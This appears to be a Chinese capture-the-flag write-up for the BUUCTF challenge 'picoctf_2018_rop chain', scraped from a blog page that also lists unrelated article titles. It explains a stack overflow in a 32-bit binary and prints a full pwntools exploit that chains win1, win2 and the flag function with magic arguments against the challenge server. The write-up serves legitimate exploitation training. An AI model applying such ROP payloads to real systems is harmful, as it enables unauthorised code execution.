当前位置: 首页 > article >正文

BUUCTF Pwn picoctf_2018_rop chain WP

1.下载 checksec 

32位 拖到IDA32 找到main函数

看到vuln函数有栈溢出漏洞 同时发现旁边有flag的后门函数

发现需要win1和win2都=1,而且a1等于特定值 交叉引用查看win1和win2的位置

所以需要构造ROP将这两处的函数条件满足使win1和win2=1,再返回到vuln函数  获取flag

exp:

from pwn import *

p = remote("node5.buuoj.cn", 25845)

win1_addr = 0x080485CB
win2_addr = 0x080485D8
flag_addr = 0x0804862B

payload = b'a' * (0x18 + 4) + p32(win1_addr) + p32(win2_addr) + p32(flag_addr) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)

p.sendline(payload)
p.interactive()

运行 得到flag:


http://www.kler.cn/a/448019.html

相关文章:

  • Oracle中间件 SOA之 OSB 12C服务器环境搭建
  • 算法学习(十六)—— 综合练习
  • uniapp Native.js 调用安卓arr原生service
  • 半连接转内连接规则的原理与代码解析 |OceanBase查询优化
  • Restaurants WebAPI(三)——Serilog/
  • 知网研学 | 知网文献(CAJ+PDF)批量下载
  • Firecrawl教程①:自动化抓取与数据转化,赋能AI应用
  • idea中打补丁包
  • 音视频入门基础:AAC专题(13)——FFmpeg源码中,获取ADTS格式的AAC裸流音频信息的实现
  • Linux之用户相关命令
  • 深度学习:解锁智能时代的钥匙与实战案例
  • 【Java】递归算法
  • 特征维度远大于样本量时候的过拟合问题
  • Vue2学习(一)——Vue简介、Vue指令与指令修饰符
  • 《Django 5 By Example》阅读笔记:p614-p644
  • 机器学习基础算法 (一)-线性回归
  • 【项目介绍】基于机器学习的低空小、微无人机识别技术
  • spring mvc | servlet :serviceImpl无法自动装配 UserMapper
  • 创建项目以及本地仓库和远程仓库并上传项目
  • 《探索QT 5.14.1:功能、特性与应用全解析》
  • Mysql-SQL执行流程解析
  • react中实现导出excel文件
  • 【CSS in Depth 2 精译_088】第五部分:添加动效概述 + 第 15 章:CSS 过渡特效概述 + 15.1:状态间的由此及彼
  • 默契之舞 之 生产者消费者模式(RabbitMQ)
  • [react 3种方法] 获取ant组件ref用ts如何定义?
  • CSS系列(25)-- 滚动优化详解